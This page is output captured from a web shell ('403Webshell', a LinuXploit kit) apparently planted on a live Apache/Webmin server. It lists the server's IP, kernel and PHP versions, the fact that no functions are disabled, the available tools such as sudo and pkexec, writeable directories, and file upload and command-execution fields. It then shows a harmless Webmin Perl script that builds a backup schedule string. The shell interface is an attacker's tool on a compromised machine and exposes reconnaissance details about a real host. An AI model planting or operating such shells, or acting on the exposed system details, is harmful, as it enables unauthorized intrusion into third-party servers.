403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/bacula-backup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/bacula-backup/schedule_select.cgi
#!/usr/bin/perl
# Convert inputs into a schedule string, and update the original field

require './bacula-backup-lib.pl';
&ReadParse();
&error_setup($text{'chooser_err'});

# Validate inputs and make the object
$sched = { };
foreach $f ("months", "weekdays", "weekdaynums", "days") {
	if ($in{$f."_all"}) {
		$sched->{$f."_all"} = 1;
		}
	else {
		defined($in{$f}) || &error($text{'chooser_e'.$f});
		$sched->{$f} = [ split(/\0/, $in{$f}) ];
		}
	}
$in{'hour'} =~ /^\d+$/ && $in{'hour'} >= 0 && $in{'hour'} < 24 ||
	&error($text{'chooser_ehour'});
$sched->{'hour'} = $in{'hour'};
$in{'minute'} =~ /^\d+$/ && $in{'minute'} >= 0 && $in{'minute'} < 60 ||
	&error($text{'chooser_eminute'});
$sched->{'minute'} = $in{'minute'};

# Update the original field
$str = &join_schedule($sched);
&popup_header($text{'chooser_title'});

print <<EOF;
<script>
top.opener.ifield.value = "$str";
window.close();
</script>
EOF

&popup_footer();


Youez - 2016 - github.com/yon3zu
LinuXploit